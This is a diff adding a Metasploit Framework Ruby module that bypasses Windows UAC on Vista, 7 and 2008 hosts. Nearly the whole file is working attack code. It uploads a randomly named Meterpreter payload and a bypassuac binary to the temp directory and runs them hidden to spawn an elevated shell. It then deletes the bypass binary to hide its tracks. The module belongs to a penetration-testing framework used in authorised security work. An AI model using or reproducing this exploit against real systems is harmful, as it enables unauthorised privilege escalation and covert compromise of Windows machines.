|
| 1 | +## |
| 2 | +# $Id$ |
| 3 | +## |
| 4 | + |
| 5 | +## |
| 6 | +# This file is part of the Metasploit Framework and may be subject to |
| 7 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 8 | +# Framework web site for more information on licensing and terms of use. |
| 9 | +# http://metasploit.com/framework/ |
| 10 | +## |
| 11 | + |
| 12 | +require 'msf/core' |
| 13 | + |
| 14 | +class Metasploit3 < Msf::Exploit::Local |
| 15 | + Rank = ExcellentRanking |
| 16 | + |
| 17 | + include Post::Common |
| 18 | + include Exploit::EXE |
| 19 | + include Post::File |
| 20 | + |
| 21 | + def initialize(info={}) |
| 22 | + super( update_info( info, |
| 23 | + 'Name' => 'Windows Escalate UAC Protection Bypass', |
| 24 | + 'Description' => %q{ |
| 25 | + This module will bypass Windows UAC by utilizing the trusted publisher |
| 26 | + certificate through process injection. It will spawn a second shell that |
| 27 | + has the UAC flag turned off. |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => [ |
| 31 | + 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', |
| 32 | + 'mitnick', |
| 33 | + 'mubix <mubix[at]hak5.org>' # Port to local exploit |
| 34 | + ], |
| 35 | + 'Version' => '$Revision$', |
| 36 | + 'Platform' => [ 'windows' ], |
| 37 | + 'SessionTypes' => [ 'meterpreter' ], |
| 38 | + 'Targets' => [ [ 'Windows', {} ] ], |
| 39 | + 'DefaultTarget' => 0, |
| 40 | + 'References' => [ |
| 41 | + [ 'URL', ' http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] |
| 42 | + ], |
| 43 | + 'DisclosureDate'=> "Dec 31, 2010" |
| 44 | + )) |
| 45 | + |
| 46 | + end |
| 47 | + |
| 48 | + def exploit |
| 49 | + |
| 50 | + |
| 51 | + # |
| 52 | + # Verify use against Vista+ |
| 53 | + # |
| 54 | + vuln = false |
| 55 | + winver = sysinfo["OS"] |
| 56 | + affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] |
| 57 | + affected.each { |v| |
| 58 | + if winver.include? v |
| 59 | + vuln = true |
| 60 | + end |
| 61 | + } |
| 62 | + if not vuln |
| 63 | + print_error("#{winver} is not vulnerable.") |
| 64 | + return |
| 65 | + end |
| 66 | + |
| 67 | + # |
| 68 | + # Generate payload and random names for upload |
| 69 | + # |
| 70 | + payload = generate_payload_exe |
| 71 | + |
| 72 | + # randomize the bypass_uac_filename |
| 73 | + bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" |
| 74 | + |
| 75 | + # randomize the payload exe name |
| 76 | + payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" |
| 77 | + |
| 78 | + # path to the bypassuac binary |
| 79 | + path = ::File.join(Msf::Config.install_root, "data", "post") |
| 80 | + |
| 81 | + # decide, x86 or x64 |
| 82 | + bpexe = nil |
| 83 | + if sysinfo["Architecture"] =~ /wow64/i |
| 84 | + bpexe = ::File.join(path, "bypassuac-x64.exe") |
| 85 | + else |
| 86 | + bpexe = ::File.join(path, "bypassuac-x86.exe") |
| 87 | + end |
| 88 | + |
| 89 | + tmpdir = session.fs.file.expand_path("%TEMP%") |
| 90 | + cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" |
| 91 | + |
| 92 | + print_status("Uploading the bypass UAC executable to the filesystem...") |
| 93 | + |
| 94 | + begin |
| 95 | + # |
| 96 | + # Upload UAC bypass to the filesystem |
| 97 | + # |
| 98 | + session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) |
| 99 | + print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") |
| 100 | + # |
| 101 | + # Upload the payload to the filesystem |
| 102 | + # |
| 103 | + tempexe = tmpdir + "\\" + payload_filename |
| 104 | + fd = client.fs.file.new(tempexe, "wb") |
| 105 | + fd.write(payload) |
| 106 | + fd.close |
| 107 | + rescue ::Exception => e |
| 108 | + print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}") |
| 109 | + return |
| 110 | + end |
| 111 | + |
| 112 | + print_status("Uploaded the agent to the filesystem....") |
| 113 | + |
| 114 | + # execute the payload |
| 115 | + session.sys.process.execute(cmd, nil, {'Hidden' => true}) |
| 116 | + |
| 117 | + # delete the uac bypass payload |
| 118 | + delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}" |
| 119 | + |
| 120 | + session.sys.process.execute(delete_file, nil, {'Hidden' => true}) |
| 121 | + end |
| 122 | +end |
| 123 | + |
0 commit comments